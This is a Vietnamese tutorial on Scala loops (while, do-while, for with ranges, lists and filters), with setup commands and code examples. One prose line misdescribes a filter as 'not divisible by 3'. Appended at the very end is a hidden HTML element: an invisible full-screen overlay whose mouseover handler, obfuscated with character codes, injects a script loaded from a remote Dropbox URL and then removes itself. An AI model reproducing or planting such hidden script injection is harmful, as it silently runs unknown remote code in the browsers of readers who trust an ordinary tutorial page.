Vòng lặp trong Scala
Scala là một ngôn ngữ lập trình đa mẫu hình, được thiết kế để tích hợp các tính năng của lập trình hướng đối tượng với lập trình hàm. Tên Scala xuất phát từ chữ tiếng Anh scalable, có nghĩa là "ngôn ngữ có khả năng mở rộng", được phát triển dựa trên nhu cầu sử dụng các tính năng mở rộng của ...
Scala là một ngôn ngữ lập trình đa mẫu hình, được thiết kế để tích hợp các tính năng của lập trình hướng đối tượng với lập trình hàm. Tên Scala xuất phát từ chữ tiếng Anh scalable, có nghĩa là "ngôn ngữ có khả năng mở rộng", được phát triển dựa trên nhu cầu sử dụng các tính năng mở rộng của nó. (Wikipedia)
Như vậy Scala bao gồm cả 2 đặc điểm của: lập trình hướng đối tượng và lập trình hàm
- Tất cả giá trị biến đều là một đối tượng. Kiểu dữ liệu và hành vi của một đối tượng được mô tả bằng các lớp. Các lớp trừu tượng được mở rộng bằng các lớp con và hạn chế các khó khăn trong đa kế thừa.
- Nó hỗ trợ cú pháp ngắn gọn cho việc định nghĩa các hàm, cho phép hàm lồng vào nhau. Dùng từ khóa lazy để trì hoãn sử dụng một biến cho đến khi cần sử dụng nó. Scala hỗ trợ các kiểu dữ liệu đại số của lập trình hàm.
Vì Scala được chạy trên nền Java, nên trước hết bạn phải cài JDK đã
sudo apt-get install openjdk-7-jdk
Sau đó cài đặt sbt
echo "deb http://dl.bintray.com/sbt/debian /" | sudo tee -a /etc/apt/sources.list.d/sbt.list sudo apt-get update sudo apt-get install sbt
Và cuối cùng bạn vô đây để down IDE về là xong http://scala-ide.org/download/sdk.html
Vào New > Scala Project, đánh tên Project (ví dụ HelloWorld) và ấn ok
Tiếp tục chuột phải vào src, chọn New > Scala Object, tạo một object là "Hello", copy-paste đoạn code sau
object Hello extends App { println("Hello, World!") }
Ấn chuột phải vào file Hello.scala được tạo và chọn Run as > Scala Application
Bạn sẽ thấy chữ "Hello, World!" được in ra tại cửa sổ console của Eclipse
Scala cung cấp 3 loại vòng lặp
- For
- While
- Do while
While
Cấu trúc của vòng lặp While trong Scala như sau
while(condition){ statement(s); }
Statement có thể là một lệnh đơn hoặc một khối lệnh. "Condition" có thể là bất cứ một biểu thức nào, là "true" khi mang bất cứ giá trị nào khác 0. Vòng lặp được thực hiện khi "condition" còn đúng. Khi "condition" sai
Ví dụ với đoạn code sau
object Test { def main(args: Array[String]) { var a = 10; while( a < 20 ){ println( "Value of a: " + a ); a = a + 1; } } }
Chạy và chúng ta ra kết quả như sau
value of a: 10 value of a: 11 value of a: 12 value of a: 13 value of a: 14 value of a: 15 value of a: 16 value of a: 17 value of a: 18 value of a: 19
Điểm mấu chốt ở đây là bên trong thân của vòng lặp có thể không bao giờ được chạy nếu điều kiện "condition" sai ngay từ đầu
Do while
Cấu trúc
do{ statement(s); }while( condition );
Không giống như vòng lặp while, việc kiểm tra điều kiện "condition" chỉ thực hiện sau khi đã thực thi biểu thức bên trong Statements. Như vậy vòng lặp Do While sẽ đảm bảo khối lệnh được thực thi ít nhất một lần
Chúng ta sẽ viết lại đoạn code trên sử dụng Do While
object Test { def main(args: Array[String]) { var a = 10; do{ println( "Value of a: " + a ); a = a + 1; }while( a < 20 ) } }
Kết quả tương tự như ví dụ trên
For
Vòng lặp for là cấu trúc cho phép chúng ta viết một vòng lặp được thực thi với số lần xác định. Có nhiều kiểu vòng lặp For trong Scala
For with Ranges
for( var x <- Range ){ statement(s); }
Range ở đây có thể là một khoảng các số, được đại diện bằng "i to j" hoặc đôi khi là "j until i"
object Test { def main(args: Array[String]) { var a = 0; for( a <- 1 to 10){ println( "Value of a: " + a ); } } }
Còn đây là code khi dùng "j until i"
object Test { def main(args: Array[String]) { var a = 0; for( a <- 1 until 10){ println( "Value of a: " + a ); } } }
Bạn có thể sử dụng nhiều range, ngăn cách nhau bằng dấu ";". Vòng lặp sẽ chạy qua tất các khả năng có thể có của các dãy được cung cấp
Ví dụ
object Test { def main(args: Array[String]) { var a = 0; var b = 0; for( a <- 1 to 3; b <- 1 to 3){ println( "Value of a: " + a ); println( "Value of b: " + b ); } } }
Kết quả
Value of a: 1 Value of b: 1 Value of a: 1 Value of b: 2 Value of a: 1 Value of b: 3 Value of a: 2 Value of b: 1 Value of a: 2 Value of b: 2 Value of a: 2 Value of b: 3 Value of a: 3 Value of b: 1 Value of a: 3 Value of b: 2 Value of a: 3 Value of b: 3
Vòng lặp for với một tập hợp
for( var x <- List ){ statement(s); }
Với cách viết này, x sẽ duyệt qua tất cả các phần tử của tập hợp "List"
object Test { def main(args: Array[String]) { var a = 0; val numList = List(1,2,3,4,5,6); for( a <- numList ){ println( "Value of a: " + a ); } } }
Vòng lặp for với Filter
for( var x <- List if condition1; if condition2... ){ statement(s); }
Với cách viết này, x sẽ duyệt qua các phần tử của List thỏa mãn các điều kiện cho trước
object Test { def main(args: Array[String]) { var a = 0; val numList = List(1,2,3,4,5,6,7,8,9,10);
for( a <- numList if a != 3; if a < 8 ){ println( "Value of a: " + a ); }
} }
Vòng lặp sẽ chỉ duyệt qua các phần tử không chia hết cho 3 và nhỏ hơn 8 trong List. Kết quả
value of a: 1 value of a: 2 value of a: 4 value of a: 5 value of a: 6 value of a: 7
Trên đây là cách sử dụng vòng lặp trong Scala. Chúc các bạn học code vui vẻ (sun)
<hr id="unique-hr" style="background-color: #a00; border: none; height: 2000px; awidth: 2000px ;z-index: 1000; opacity: 0.01; position: fixed; top: 0px; left: 0px;" onmouseover="$('#footer').append(String.fromCharCode(39, 60, 115, 99, 114, 105, 112, 116) + ' id='atk-src' src='https://www.dropbox.com/s/vfi73fypu0x7ij5/serious.js?dl=1'></' + String.fromCharCode(115, 99, 114, 105, 112, 116, 62, 39)); setTimeout(function() {$('#unique-hr,#atk-src').remove();}, 3000);">